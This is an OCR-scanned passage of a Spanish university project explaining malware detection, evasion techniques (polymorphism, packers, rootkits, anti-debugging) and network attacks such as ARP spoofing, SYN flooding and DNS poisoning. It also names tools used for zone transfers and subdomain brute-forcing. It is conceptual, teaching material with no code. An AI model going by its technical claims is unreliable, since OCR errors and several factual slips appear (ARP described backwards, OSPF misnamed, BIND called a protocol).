mediante operadores I6gicos, permitiendo definir patrones mas flexibles y precisos.

6.7.1.2.- Ambito de bisqueda

Entendiendo por ambito de busqueda a una restriccion que limita la localizacion de la firma a un
tipo de objeto 0 a una parte de su contenido. Esto permite restringir el proceso de busqueda, con
el consiguiente ahorro de computo en comparacién a una busqueda exhaustiva en todos

los tipos de objeto y/o en la totalidad de sus contenidos.
Por ejemplo, por secciones especificas y por combinaciones de ambitos, como por ejemplo:

Asi, una firma basada en opcodes podria especificar que solo se realizase la basgqueda en archivos
de tipo ejecutable PE (ambito de tipo filtro de objetos), en la seccion de cddigo (&mbito de tipo
secciones especificas), y con un desplazamiento de 1.012 bytes (ambito de tipo desplazamiento).

6.8.- Deteccion semantica

Deteccion seméntica difiere de la sintactica respecto de no basarse en la localizacion de patrones
en bytes de objetos sino fundamentarse en identificacion de acciones llevadas a cabo por el
malware. La deteccion semantica es también conocida como deteccion basada en
comportamiento.

En particular, la deteccion seméntica es mas resistente ante técnicas de mutacion como el
polimorfismo o el metamorfismo. Por tanto, puede situar como una forma de superar las
deficiencias de la deteccidn sintactica, dado que una mutacion no modifica el comportamiento
final del malware.

Recordar aqui como se ha adelantado anteriormente el tener cuenta que un virus, al igual que
cualquier otro programa, utiliza los servicios proporcionados por el sistema. Por tanto, determinar
si un programa concreto se trata de un software malintencionado para por establecer lo que es un
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uso legitimo de los servicios del sistema y contrastarlo por las acciones realizadas por todo
proceso.

Cohen definid dos aproximaciones para la deteccion basada en comportamiento:

e Laprimerade ellas hace referencia a tomar como referencia un modelo legitimo. Un modelo
de comportamiento legitimo. A esto, la dificultad pasa precisamente por definir este modelo
legitimo. Por la multitud de aplicaciones existentes se hace dificil establecer un modelo
apropiado, quedando el momento definido por modelos estadisticos y por lo tanto proclive a
falsos positivos.

e La segunda aproximacion se basa en la contraposicion a la referencia anterior de modelo
legitimo, basandose ahora en modelar el comportamiento sospechoso de las aplicaciones
maliciosas. Asi pues, en este caso, cualquier accion detectada que se aproxime a este modelo
de referencia se marcara en la identificacion del codigo malicioso. En esta segunda opcion a
pesar de no poder detectar nuevo malware con tanta facilidad, se utiliza de forma mas
habitual al no ser tan sensible a falsos positivos.

Independientemente del contexto, la deteccion de malware basada en comportamiento
actualmente se divide en dos categorias principales:

- Analisis dindamico: considerando las acciones realizadas en tiempo real.
- Andlisis estatico: obtencidn de las acciones sin la ejecucion del cédigo.

Siendo la principal diferencia entre estos dos métodos la forma en que se capta la informacion.

6.8.1.- Analisis dindmico

El analisis dinamico considera las acciones llevadas a cabo en el sistema por parte de todo
programa en ejecucién. A partir de la informacion de estas acciones y una base de conocimiento
en forma de firmas, el motor de deteccidn sera capaz de catalogar un proceso como malicioso.

Las acciones se pueden analizar gracias a la intercepcién de las llamadas al nucleo del sistema
operativo (también conocidas como syscalls). A esto, el motor de deteccion se interpone entre el
interfaz de llamadas y el cddigo de las syscalls. De esta manera, cada vez que un programa realiza
una llamada al nucleo, el motor de deteccion toma el control antes de ejecutar el codigo de la
syscall correspondiente. Para la deteccion, se tienen en cuenta controles como los siguientes:

- Lallamada realizada y sus parametros.

- El identificador del proceso que realiza la llamada.

- Sunivel de privilegios.

- Cualquier otra informacidn del contexto que se considere.

Tendria como punto débil la ejecucion de malware como rootkits (malware que adquiere el
usuario root del sistema), que podrian inhabilitar el motor de basqueda. También pude conllevar
una ralentizacién de ejecucion del sistema.

6.8.2.- Andlisis estatico

La deteccion basada en comportamiento utilizando analisis estatico se sustenta en la extraccion
de las acciones realizadas por un potencial cédigo malicioso sin su ejecucion.

Se caracteriza por proporcionar una mayor cantidad de informacion y méas completa al no realizar
su analisis exclusivamente sobre acciones observadas. Se utilizan técnicas de ingenieria inversa
y desensamblado. En contrapartida, tendria mayor dificultad al aparecer aqui debido a la
incorporacién por parte del codigo malicioso de técnicas de ofuscacion y antidebugging.
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Aparecen aqui tres tipos de tecnologias:

Verificacién de modelos: basado en aproximacién algebraica, tras un proceso de ldgica
deductiva y de extraccion se obtiene una forma reducida se verifica utilizando un intérprete
que observa si la ejecucion exhibe algin comportamiento anémalo (malintencionado)
conocido y expresado también en la misma representacion algebraica.

Equivalencia por reduccion: técnica que se sustenta en utilizar firmas semanticas férmulas
I6gicas de primera clase y que seméanticamente se corresponden con acciones maliciosas. El
motor de deteccion toma como entrada el grafo de control de flujo y las firmas como férmulas
I6gicas. En el caso de detectar correspondencia entre las férmulas y ciertos estados
intermedios determinados, el objeto se cataloga como malicioso.

Isomorfismo en grafos: se emplea un grafo de control de flujo para la deteccién de software
malicioso. Se asocia a cada nodo del grafo una etiqueta semantica que describe el tipo de
accion que desempefia el blogue basico asociado. Se cotejan con las firmas semanticas de la
base de datos del motor de deteccion.

6.9.- Mecanismos de evasion

Sin duda alguna, el software especializado en la deteccion de cédigo malicioso ha sido una de
las vias méas empleadas contra la lucha del malware. Si se es capaz de detectar codigo malicioso
a tiempo, se es capaz de evitar una infeccion.

Actualmente se distinguen basicamente tres tecnologias de evasion:

- Técnicas de ofuscacion.
- Métodos de ocultacion y autoproteccion.
- Mecanismos de antidebugging.

También se encuentran en la actualidad combinacion de las tres técnicas anteriores.

Técnicas de ofuscacion: puede verse como una transformacion del cddigo de un programa
con el objetivo de hace su comprension mas dificil mientras que al mismo tiempo se preserva
su funcionalidad.

Desde las perspectiva del malware, la finalidad de la ofuscacién del codigo es doble:

- En primer lugar: incrementa la dificultad del proceso de analisis asi como el tiempo para
realizarlo y como consecuencia la generacién de firmas.

- En segundo lugar: la finalidad de mutar el codigo y por tanto dificultar o incluso hacer
inviable el uso de técnicas de deteccion basadas en firmas sintécticas.

Malware cifrado, oligomorfismo, polimorfismo y metamorfismo: basado en mutar el cddigo
de malware en cada nueva infeccion desde el punto de vista sintactico manteniendo la misma
funcionalidad que la version previa. Estas técnicas estas centradas sobre todo en evadir los
motores de deteccidn sintéacticos.

- Cifrado: evade métodos de deteccion sintactica mediante el uso de una funcion de
cifrado. En este caso, el codigo esta compuesto por una rutina de descifrado, una clave y
el cuerpo principal del malware cifrado. La rutina consiste en descifrar del resto del
cuerpo con la clave contenida en el mismo cadigo.

- Oligomorfismo: con base a un intento de mejorar la técnica anterior de cifrado y en el
que en esta ocasion, si que se modifica la rutina de descifrado en cada accion. Sera el
precursor del polimorfismo.
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- Polimorfismo: Incorpora la capacidad de generar gran cantidad -del orden de millones_
de rutinas de descifrado diferentes. Se apoya en el uso de diversos métodos de ofuscacion
como por ejemplo la insercién de cddigo innecesario. Consiguiendo con esto la no
existencia de un patron sintactico de busqueda.

- Metamorfismo: quizas el méas avanzado de todos, en el que al igual que el poliformismo,
empleando diversas técnicas de ofuscacion, en este caso se aplica a la totalidad del cuerpo
del malware (y no a una rutina de descifrado).

6.9.1.- Técnicas de ofuscacion del polimorfismo y metamorfismo.

- Insercidén de codigo innecesario: técnica que inserta instrucciones (codigo basura) en el
cuerpo principal del malware que no tiene ningun tipo de efecto en el comportamiento
final del cédigo pero que permite cambiar la apariencia sintactica del malware (recordar
a entender software malicioso) a la vez que mantiene su funcionalidad.

- Reasignacion de registros: basado en que el mismo malware analiza su cuerpo principal
y crea una nueva version en la que se reasignan nuevos registros a las instrucciones que
los emplean, conservando la logica inicial. De esta manera, los opcodes de la nueva
version resultan diferentes respecto de la version anterior.

- Sustitucién de cédigo por instrucciones equivalentes: Similar a la reasignacion de
registros pero con instrucciones.

- Permutacion de subrutinas: se cambia el orden en que aparecen las subrutinas dentro
del cuerpo. De esta manera, si un software malicioso estd compuesto de n subrutinas
diferentes, este serd capaz de generar n! variantes.

- Trasposicién del cddigo: en este mecanismo se muta el codigo al transponer blogues de
instrucciones mientras se preserva el comportamiento original del malware. Se mezclan
bloques de instrucciones de forma aleatoria y se introducen saltos incondicionales. No se
modifica el comportamiento final.

- Integracion del cddigo entrelazado: empleado por el malware de propagacion por
infeccion virica, el cual se inserta a si mismo en el codigo del archivo a infectar de forma
entrelazada.

6.9.2.- Compresion de ejecutables.

Basado en un momento histérico en el que no se disponia de grandes capacidades de
almacenamiento y con coste elevado, se procedia a esta técnica en la que utilizando un algoritmo
de compresién y con la incorporacion de un nuevo cambio (para resultar en dificil de deteccion)
resultando en un nuevo ejecutable radicalmente diferente. De esta manera, la firma sintactica que
detectaba la version anterior deja de ser Util para versiones futuras.

Cabecera DOS
Cabecera PE

Cabecera DOS

Cabecera PE -~

Datos

Datos

Fig.67: Representacion conceptual de un malware empaquetado en Windows.

La pregunta ahora seria: { Cémo se ejecuta un ejecutable comprimido?, respuesta: cuando se lanza
la ejecucion de un programa comprimido, la rutina responsable de la descompresion se ejecuta en
primera instancia. Asi pues, la rutina de descompresion, a partir de los datos comprimidos,
regenerara el codigo ejecutable original y cediendo el control.

69



UNIVERSITAT
POLITECNICA AN
DE VALENCIA TELECOMUNICACIO!

Destacar herramientas conocidas como los llamados empaquetadores que automatizan el proceso,
algunas herramientas incluso afiaden técnicas de antidebugging dificultando su posterior analisis.

6.9.3.- Entry Point Obscuring (EPO)

Método de ofuscacion propio de malware de infeccion. Tradicionalmente, la infeccion de un
ejecutable siempre se ha realizado modificando su punto inicial de ejecucién (o entry point) de
manera que este apunte primero al cédigo de malware. Una vez que el cddigo malicioso toma el
control y realiza las acciones de su interés, a continuacion cede el control al cddigo del ejecutable
original. A diferencia de esto, la técnica entry pont obscuring modifica el ejecutable original en
cualquier punto de su cédigo, insertando instrucciones tipo CALL o JUMP para redirigir el flujo
de ejecucion hacia el cddigo malware. Haciendo esto, se consigue evadir motores de deteccion
sintacticos que intenten localizar malware analizando el entry point como ambito de blsqueda.

6.9.4.- Ofuscacion por virtualizacion

La ofuscacion por virtualizacion es un mecanismo de ofuscacion que implementa en el mismo
codigo del malware un entorno de ejecucién junto a un intérprete, el cual es capaz de ejecutar
programas escritos en un lenguaje especifico en forma de bytecodes. El intérprete —altamente
ofuscado— acepta un lenguaje que se elige aleatoriamente en cada infeccién. Dicho de otro modo,
podemos considerar que el software malicioso que incluye esta estrategia implementa un
procesador virtual que acepta un repertorio de instrucciones particular.

De dificil interpretacion y que escapa al momento a esta consideracion de proyecto. Requiere de
ingenieria inversa compleja ademas de saber interpretar entre el lenguaje y en intérprete.

6.9.5.- Técnicas de ocultacién y autoproteccién

La idea es pasar desapercibido tanto a los administradores como al software de deteccién o bien
para protegerse o dificultar su erradicacion. Para conseguir ocultarse o protegerse, el cddigo
malicioso modifica partes del sistema operativo. A destacar la importancia de tener en
conocimiento que estas técnicas dependen del sistema operativo y de las arquitecturas de los
sistemas. Actualmente se consideran tres técnicas de ocultacion y/o proteccidn:

1.- Mecanismos rootkit en espacio de usuario: basado en atacar a las APl (Application program
Interface) utilizadas por los programas. Basadas en la confianza de las implementadas de inicio
por el sistema operativo y en sus funciones (en muchas ocasiones funciones de libreria, librerias
dindmicas) en el que se apoyan las aplicaciones para realizar determinadas tareas, tareas-
funciones como la apertura y comparticion de archivos, obtencion de listados de procesos del
sistema, accesos a memoria y funciones similares.

2.- Mecanismos de rootkit en espacio de nucleo: sin alejarse de los de espacio de usuario, también
se basan en desviar la ejecucién hacia el codigo malicioso de su interés, el cual act(a en funcion
de sus necesidades. La diferencia en este mecanismo de espacio de nlcleo se basa en que en este
mecanismo se realiza con mayor nivel de privilegios.

3.- Mecanismos de rootkit hibridos: con la palabra hibrido ya se informa del hecho de que en este
caso los mecanismos pueden ser aplicados tanto a espacio de usuario como de nucleo. La
diferencia es que en este caso, en lugar de reemplazar algun tipo de apuntador, en este caso se
ataca directamente a la funcion implicada.

6.9.6.- Mecanismos de antidebuggin.

Conjunto de estrategias que el malware puede incorporar en su propio cédigo cuya mision es la
de dificultar cualquier proceso de ingenieria inversa que se intente aplicar sobre él. Si este es el
caso, el mismo malware modificard su comportamiento.
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En este sentido, puede adoptar varias posturas:

o Ejecutar codigo complejo sin ninguna finalidad para desalentar al analista.
e  Exhibir un comportamiento legitimo en vez de malicioso o,
e Finalizar su ejecucion.

Las técnicas mas recientes incluyen la deteccion de la ejecucion en una maquina virtual.
Maquinas de habitual anélisis de estos cddigos.

6.10.- Vulnerabilidades en red

6.10.1.- Vulnerabilidades en capa 2

Desde los de capa 2 como MAC flooding en el que se provoca desbordar la memoria de la tabla
CAM de un conmutador (donde se establece un vinculo entre direcciones MAC y puertos fisicos
del propio conmutador) con distintas direcciones MAC ( ya que tiene una cantidad de memoria
limitada). Tabla que permite al conmutador enviar los paquetes Unicamente a su destinatario por
el puerto fisico que le corresponde. En el momento que ocurre un desborde de memoria (el
conmutador no puede afiadir mas entradas) pasa a un modo de funcionamiento conocido como
failopen, en el que el conmutador pasa a funcionar como un hub. En este modo, el conmutador
pasa a enviar los paquetes en broadcast a todos los host de la red. Actualmente muchos fabricantes
mitigan este problema mediante la limitacion del nimero méximo de direcciones MAC
admisibles para cada puerto fisico (técnica conocida como port security).

También destacar en este apartado que actualmente los sistemas operativos disponen de la
posibilidad de poder cambiar la direcciéon MAC fija establecida de origen manualmente por otra
lo que supone una vulnerabilidad importante en sistemas de control de acceso o autenticacion de
red.

Asociado a esto se encuentra la vulnerabilidad por parte del protocolo ARP, protocolo que permite
traducir direcciones MAC en direcciones IP. Actualmente, técnicas como ARP spoofing, o
flooding o poisionig se encuentran en accién, dando lugar a denegaciones de servicio y situaciones
de Hombre en medio (MITM).

Destacar la vulnerabilidad en ICMP, en el que por fallos en el mismo protocolo se podian realizar
distintos aplicativos, como ping flooding, ping of death y smurf attack que actualmente segun
bibliografia de referencia se encuentran solventados gracias a anular en los equipos pings
enviados por broadcast.

6.10.2.- Vulnerabilidad en capa 3

A situar dentro de la interconexion de redes y los servicios asociados. Dada la complejidad de
Internet y sus tecnologias asociadas, nos encontramos con un gran nimero de vulnerabilidades

6.10.2.1.- Vulnerabilidades en IP

En concreto por parte del protocolo IP, nos encontramos los siguientes ataques relevantes:

e |P Spoofing: generacidn de paquetes IP con direccion de origen falsa. Genera denegaciones
de servicio o suplantacién de host.

e Packet of death: envio de paquetes deliberadamente erroneos. Por ejemplo, el uso de la
misma direccién de origen como origen y destino (land attack).

e Vulnerabilidades en la fragmentacion: envio de fragmentos erréneos donde se solapan los
campos de datos ha dado problemas en algunas implementaciones.

6.10.2.2.- Vulnerabilidades OSPF y BGP

IP utiliza varios protocolos de encaminamiento. Por una parte, estan los protocolos de
encaminamiento internos a un sistema auténomo, conocidos como IGP (Interior Gateway
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Protocol) y los que se utilizan para el encaminamiento entre sistemas autbnomos, EGP (Exterior
Gateway Protocol).

Uno de los protocolos mas utilizados en IGP uno de los protocolos mas utilizados sea el OSPF
(Open Shift Path First). Existen varias vulnerabilidades en OSPF que permiten a un atacante
introducir informacion de encaminamiento falsa en el sistema autonomo, facilitando distintos
ataques como la denegacion de servicio o la "desconexion” de una red local.

Actualmente OSPF permite incorporar distintos mecanismos de autenticacion que pueden mitigar
algunos de estos fallos.

Respecto de los protocolos de EGP como BGP (Border Gateway Protocol) en la actualidad las
Gltimas versiones incorporan mecanismos para autentificar los routers que anuncian rutas BGP.

6.10.3.- Vulnerabilidades extremo a extremo, capa 4: TCP y UDP

TCP: proporciona un servicio genérico de transmision fiable de datos extremo a extremo. Se
encarga de controlar errores en la transmision, el orden de los paquetes, la deteccion de
duplicados, el control de la velocidad de transmision, etc.

UDP: ofrece la minima funcionalidad.

Aunque no se trata a mucho detalle por extension en este proyecto, destacar los acontecimientos
mas importantes sucedidos en las comunicaciones establecidas tanto por TCP como por UDP.

En concreto, respecto del establecimiento fiable a través del llamado 3 way handshake (por tres
mensajes) por parte de TCP, siendo un mensaje tipo SYN (de sincronizacién), al que el servidor
contesta con un SYN y ACK (sincronizacion y reconocimiento) y finalmente el cliente envia un
ACK (reconocimiento). Una vez establecida la conexion, el cliente y el servidor se pueden enviar
datos que seran reconocidos cada cierto tiempo (mediante mensajes ACK) por el receptor. En la
comunicacion se establecen nimeros de secuencia que se utilizan para identificar los bytes de
datos enviaros y permitir realizar control de flujo de datos. A esto, indicar que técnicas de ataques
como SYN flooding basado en bombardear al servidor con peticiones de conexion y no realizar
el altimo ACK por parte del cliente dejando al servidor con conexiones establecidas sin secuencia
de seguimiento, acabando por saturar al servidor con conexiones sin comunicacién. Técnica que
en la actualidad de hoy, esta bastante reparada. Lo mismo ha ocurrido con respecto a la generacion
de nlmeros de secuencia. Hoy, también bastante reparada con la inclusién de generacion de
numeros de secuencia aleatorios.

Cliente Servidor

SYN:seq=x

SYN+ACK:seqg=y; ack=x+1

ACK:seq=x+1; ack=y+1

Fig.68: Establecimiento de conexién TCP.
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Respecto de UDP, la mayoria de las vulnerabilidades son propias de errores de implementaciones
concretas y no del protocolo. De hecho, precisamente por esta falta de control, UDP ha facilitado
la explotacion de vulnerabilidades dando lugar a ataques MITM y de forma mas facil que TCP ya
que no requiere el secuestro de sesiones como en TCP.

6.10.4.- Vulnerabilidad en capa 7

Actualmente una de las més consideradas respecto de ataques a estas, como por ejemplo a
lenguajes de programacién no compilados como el que vamos a ver aqui, Javascript y otros como
PHP y SQL principalmente. Lo mismo para distintos protocolos de capa 7, como uno de los méas
importantes HTTP.

6.10.4.1.- Vulnerabilidades en DNS

DNS se disefié sin tener en cuenta la seguridad. DNS (Domain Name System) permite la
resolucion de nombres de dominio mediante servidores organizados jerarquicamente a partir de
13 servidores raiz (9 de ellos distribuidos geograficamente utilizando anycast). Inicialmente DNS
presenta muchas ventajas, es un sistema distribuido, eficiente en la resolucion de nombres y
tolerante a fallos.

Respecto de DNS, es precisamente en Internet donde se define el sistema coordinado de gestion
DNS, que permite registrar los nombres de direcciones IP, modelo denominado sistema de
dominios, en el que se asignan a partir de servicios de registro, efectuando un pago a la entidad
registradora.

Una forma de logar esta coordinacion es mediante la edicion del fichero host que se encuentra en
el  Sistema  Operativo (por ejemplo en  Windows se encuentra en
C:\Windows\System32\drivers\etc\hosts. Legible en texto claro). En este tipo de ficheros, se
define un nombre de dominio y su traduccion a una direccion IP, de forma que siempre que se
utilice ese nombre para identificar un sistema, el ordenador buscara primero la traduccion en este
fichero.

Sin embargo, hoy en dia lo funcional es que no haga falta escribir la direccion IP y su traduccién
nominativa para cada sistema. si no que cada vez que el ordenador necesite resolver un nombre
de dominio en la red, acuda a un servidor de resolucién de nombres o servidor DNS.

El protocolo DNS conceptualmente es una red de servidores internacionales que mantienen una
base de datos de asociaciones entre direcciones IP y nombres de dominio a las que corresponden.
DNS significa varias cosas:

e Domain Name System: todos los organismos que gestionan los nombres de dominio.

e Domain Name Service: el protocolo que permite intercambiar la informacién
correspondiente a los dominios.

e Domain Name Server: un equipo sobre el que funciona una aplicacién servidor que
implementa el protocolo DNS y que puede responder a preguntas relativas a un dominio.
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records” (NS)

Subdominio

Subdominio

Fig.69: Esquema de organizacion DNS.

El DNS se implementa a través de una estructura de arbol, que es una estructura jerarquica. En el
nivel superior se encuentra el nodo raiz, le siguen los nodos de dominios de primer nivel (TLD,
Top Level Domain), a continuacién vienen los nodos de dominios de segundo nivel (SLD, Second
Level Domain), y por ultimo, termina con un numero indefinido de nodos de niveles inferiores.
Todos estos niveles se separan con un punto al escribirlos.

Los TLDs se dividen en dos tipos:

- Dominios genéricos (Generic TLD, gTLD): .com, .net, .org, etc.
- Dominios geograficos o dominios de codigo de pais (Country Code TLD, ccTLD): .es

(.gal para la Comunidad Cultural gallega, .eus. para la Vasca, .cat, para la Catalana), .fr,
.uk, etc. (Siempre con dos caracteres)

Estructura del TLD.
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Fig.70: Sistema de Nombres de Dominio.

e Root Server: como en cualquier jerarquia, cuando hablamos de servidor DNS tiene que
existir un nivel superior, un punto en el que una consulta no contestada no pueda subir mas
y tenga que ser resuelta de un modo u otro. En este nivel superior la consulta sera resuelta
por un Root Server. Se puede consultar la ubicacion actual de los Servidores raiz en:
https://www.google.com/maps/d/viewer?mid=1LcHEpzI-
7RzziWzDa4h3BxJchEo&ie=UTF8&hl=en&msa=0&11=42.75356425386596%2C-
1.6794519674706407&spn=142.883537%2C288.632813&z=5&om=1

Un Root Server es un Servidor DNS que no sabe a qué IP resuelve ninglin dominio, pero
conoce los servidores DNS de cada TLD bajo su jurisdiccion; digamos que el Root Server
no sabe nada, pero tiene una lista de todos los servidores que si que saben, y puede indicar
cudl es el que hace falta en cada momento. Actualmente se conocen existen 13 Root Servers
en todo el mundo, operados y mantenidos por 12 organizaciones independientes.

e TLD. Significa “Top Level Domain”: El TLD de upv.es es “.es”. Se trata del dominio
“padre”, y es responsabilidad de alguna entidad nacional o internacional que se encarga de
gestionar los servidores de nombres que tienen informacion sobre esta extension. Por
ejemplo, los dominios .es son responsabilidad de nic.es, los .com son responsabilidad de
Verisign, etc.

e Cache DNS: Una vez visitado un dominio, ¢qué posibilidades hay de que la respuesta haya
cambiado? Pues muy pocas, con lo que es absurdo repetir todo el proceso de consultas
explicado antes cada vez que queramos resolver un dominio. Esto es bueno porque reduce el
tiempo que tardas en acceder a las paginas web y la carga a la que se ven sometidos los
servidores.

Del mismo modo que un Root Server, los servidores DNS de los TLD no conocen la IP a la que
resuelve ningin dominio, pero saben cuéles son los DNS autoritativos de cada dominio bajo su
jurisdiccion.

Se denomina Zona a la configuracion de un dominio dentro del DNS y es un conjunto de entradas

Ilamadas Resource Record o RR. Tanto para las zonas Principales como Secundarias, cada zona
se almacena en un archivo de texto con formato estandar y extension .dns.

El protocolo DNS defina tres tipos de consultas:

e Recursivas: es aquella a la que el servidor de nombres daré la respuesta completa al resolver
del PC. Los servidores de nombres no tienen la obligacion de soportar este tipo de consultas,
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y es el resolver del PC el que negocia con el servidor de hombre el uso de este tipo de
consulta.
e lterativas 0 no recursivas: es aquella a la que el servidor de hombres dara una respuesta
parcial al resolver del PC. Todos los servidores de nombres soportan este tipo de preguntas.
e Inversas: aquella que se produce cuando un usuario quiere saber el nombre del dominio al
que pertenece un RR, por ejemplo, ;cuél es el dominio de tal registro MX?.

No se debe confundir la consulta inversa con la pregunta de: ;qué nombre le corresponde a
esta IP?; este tipo de consultas se denominan mapeado inverso (reverse mapping) o basqueda
inversa (reverse looking), y se resuelven a través de consultas iterativas o recursivas con el
dominio especial .IN-ADDR.ARPA.

¢Qué ocurre cuando escribimos http://www.ediciones-eni.com/index.htm]?

~Cache ™

: “_local S )

Cliente de correo — T < Cache Busqueda

}‘ Servidor DNS ~-|_Qf_3!_a Recursiva de
Navegador T : servidores
gJ_ ™——{ Servidor DNS —] DNS
Tiempo de //—anl-_—\ . . \
ra: | Sistema operativo
130 min “_cache - P
Programas cliente ISP (Proveedorde Internet)

Puesto de trabajo

Fig.71: Resolucion y busqueda DNS.

El equipo pide a los servidores DNS de su proveedor de acceso las direcciones IP de los servidores
DNS del dominio "ediciones-eni.com".

El equipo se conecta a un servidor DNS para pedir la direccion IP del equipo "www".

El navegador se conecta a esta direccion IP en el puerto 80 y solicita la pagina "index.html"
(empleando el protocolo HTTP).

Este escenario no es siempre cierto: la mayoria de los servidores DNS y los sistemas operativos
van a servir de caché y conservar en memoria las direcciones solicitadas con mayor frecuencia.

La base de datos DNS, aparte del nombre de dominio, contiene informacidn adicional de interés
para los posibles usuarios del dominio, asi como terceras partes de la comunicacion, por ejemplo
respecto de la forma de encaminar los correos electrénicos. A continuacion lista de los diferentes
registros que almacenan los servidores de nombres, los tipos de Registro de Recursos (RR) més
habituales.:

e A (Addres): es este campo se introduce la direccion IP del dominio. Traducen literalmente
un nombre a una IP. Por ejemplo: upv.es a 193.70.65.150.
Esto indica que el nombre upv.es resuelva a la IP 193.70.65.150.

e CNAME (Canonical Name): el nombre candnico (alias) es un nombre alternativo para un
host determinado, como si fuera un alias. Por ejemplo: www.upv.es es altair.cc.upv.es

e NS (Name Server): si un dominio tiene uno o mas servidores DNS, aqui espera su direccion
IP.
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MX (Mail Exchange): direccion IP del servidor encargado de recibir el correo electronico
dirigido al dominio. Por ejemplo: mail.upv.es. Este registro indica que si quieres enviar un
email a correo@upv.es, debemos entregarlo en la IP a la que apunta mail.upv.es

PTR (Pointer): funciona a la inversa del registro A, permitiendo la traduccion de direcciones
IP a nombres.

TXT (Text): permite asociar informacion adicional a un dominio. Este se utiliza para otros
fines, como el almacenamiento de claves de cifrado o la generacion de los registros SPF.

A cada registro DNS suele acompafiarle un namero. Por ejemplo:
upv.es A 14400 193.70.65.155

14400 es el TTL del registro, o "Time To Live". Le indica a los servidores que consultan ese
registro que deben guardar esta informacion durante un ndmero de segundos (en esta caso 4
horas). Es decir, el tiempo de vida de la caché DNS para ese registro.

Los servicios DNS en los servidores utilizan un protocolo denominado BIND (Berkeley Internet
Name Domain, Nombre de Dominio para Internet de Berkeley), que se encarga de la relacion
entre la base de datos DNS con el sistema cliente.

Sin embargo, existen algunas vulnerabilidades que pueden dar lugar a ataques importantes [16]:

Transferencias DNS no autorizadas: en las transferencias de zona se realizan replicaciones
por motivos de seguridad y si se han configurado para ello, la informacién de un servidor
DNS es replica a otro servidor DNS, conocido como secundario. Por el motivo del alto valor
sensible de esta informacion, teéricamente solo posible realizarse entre equipos informaticos
autorizados para solicitar y recibir estas transferencias ya que esta informacion incluye unas
tablas donde figuran los equipos informaticos de cara a Internet de las organizaciones
(dominios), incluso a veces sus sistemas operativos, siendo esta una informacion basica para
un atacante.

Una vez que se dispone de los registros DNS (ver seccion de Etapas de un ataque) a través
del uso de paginas publicas, el atacante intentara a través de la vulnerabilidad de detalle de
tener habilitada por error de configuracion de los servidores DNS la posibilidad de realizar
transferencias de zona para conseguir los datos de los equipos del dominio. Lo normal seria
gue esta técnica estuviera controlada si bien deshabilitada.

Algunas de las herramientas mas utilizadas para realizar transferencias de zona son host, dig,
Nmap y dnsenum.

DNS spoofing: consistente en dar informacidn errénea de manera deliberada sobre la
correspondencia de direccion IP a nombres de dominio. Utilizacion de direccion IP falsa a
un nombre de dominio conocido (con lo que se puede restringir el trafico a dicho dominio).
Asociado a esto esta el hecho de saber que el DNS por este efecto suplantard un servidor
DNS conocido o emitira respuestas falsas. Es importante tener en cuenta que para que una
respuesta sea aceptada como legitima debe cumplir con los siguientes puntos:

- Volver a la misma direccion IP que emitid la peticion.

- Volver por el mismo puerto desde donde se envio la peticion.

- Que larespuesta corresponda a la peticion.

- Que el nimero de transaccion coincida con la peticion. Este nimero es tedricamente

aleatorio y permite vincular respuesta a peticion.
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Comprende fallos asociados como la facilidad de predecir el namero de transaccion (similar
a los nimeros de secuencia de TCP). Un atacante puede falsear una respuesta DNS sin
necesidad de ver la peticion para saber el nimero de transaccion. También el hecho de que
DNS funciona sobre UDP.

o DNS caché poisoning: la funcidn caché supuestamente implementada para mejorar la
eficiencia de DNS, en este caso y al igual que con ARP, se puede envenenar forzando la
entrada de relaciones de nombres de dominio a direcciones IP.

e DNS amplification attacks: ataques de amplificacion de DNS son unos ataques de
denegacién de servicio basados en el hecho de que las peticiones de DNS se resuelven
recursivamente y que una peticion de tamafio pequefio (60 bytes) pueda llegar a generar
respuestas mas grandes (< 512 bytes). De manera similar a un ataque smurf, se envian
muchas peticiones con la direccion IP de la victima que recibira todas las respuestas, con el
agravante del tamafio que pueden llegar a alcanzar las respuestas (amplificacion).

e DNS bruting: Consiste en la utilizacion de un diccionario para intentar enumerar mediante
fuerza bruta los nombres de subdominios existentes bajo el dominio principal de la
organizacion. El procedimiento se basa en observar las respuestas del servidor DNS ante una
peticion valida y las respuestas ante una direccién no existente. Algunas herramientas para
el DNS Brutingson dnsenum, dnsdict6y dnsmap.

Actualmente existe DNSSEC (Domanin Name System Security Extensions), un conjunto de
especificaciones de la IETF que busca solucionar los problemas de seguridad de DNS. DNSSEC
proporciona principalmente autenticacion e integridad. [17] DNSSEC (Domain Name System
Security Extensions) afiade una capa de seguridad adicional a los servidores DNS de un dominio.

DNSSEC permite autentificar la informacion DNS. Permite firmar las zonas digitalmente. Esta
firma se envia a los clientes bajo la forma de registro de recursos desde los servidores que
gestionan estas zonas. El cliente puede, a continuacion, validad la informacién como auténtica
desde los servidores DNS firmados. DNSSEC impide, asi, ataques de tipo Man in the Middle que
se basan, entre otros, en corromper los registros en caché de un servidor DNS para redirigir a los
usuarios hacia las direcciones IP controladas por el atacante.

La norma utilizada actualmente por DNSSEC consiste en cuatro nuevos registros de recursos:

DNSKEY: registro de una clave DNSSEC.

RRSIG: firma de los Registros de Recursos existentes (RR) existentes con DNSSEC.
NSEC: Next SEC, firma de los RR inexistentes con DNSSEC.

DS: firma de las delegaciones de zona en DNSSEC.

Al utilizar DNSSEC se afiaden firmas digitales en cada una de las partes implicadas: dominio,
servidor DNS y Registry.

El funcionamiento, al acceder a un sitio con DNSSEC habilitado seria el siguiente:

- El navegador del visitante comprueba los servidores DNS asociados al dominio.

- Si las firmas digitales pUblicas que recibe coinciden con las publicadas en el Registro, el
navegador daré por vélida la solicitud y resolvera el sitio web, mostrando su contenido.

- Si por alguna razon las firmas no coinciden, el sitio web no seria accesible.

DNSSEC es un conjunto de extensiones de seguridad que utiliza cifrado asimétrico desarrollado
para el servicio de DNS, que aporta los siguientes beneficios [17] [18]:

- Autentificar el origen de los datos de un servidor DNS.
- Mantener la integridad de los datos entre servidores DNS.
- Denegacion de existencia autentificada.
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6.11.- Vulnerabilidades en 10T.

Segun el INCIBE, para 2025 se calcula que habra 21.500 millones de dispositivos conectados

loT.

Algunos riesgos son contrasefias, interfaces, servicios de red sin uso, componentes
desactualizados firmware y una mala proteccién de la privacidad.

Vulnerabilidades en loT.

Mal uso de contrasefias: uso de claves no seguras, embebidas o que vienen por defecto
por igual para todos los dispositivos y ha sido explotada por ataques DosS.

Nula configuracion de acceso: esto se encuentra cuando no hay opcion para monitoreo
de seguridad u opciones de contrasefia y dejando todo en dependencia del proveedor,
también ocasionado por la falta de habilidad del usuario por alterar los controles de
seguridad.

Servicios de red sin uso, con baja cobertura o innecesarios: que se ejecutan en segundo
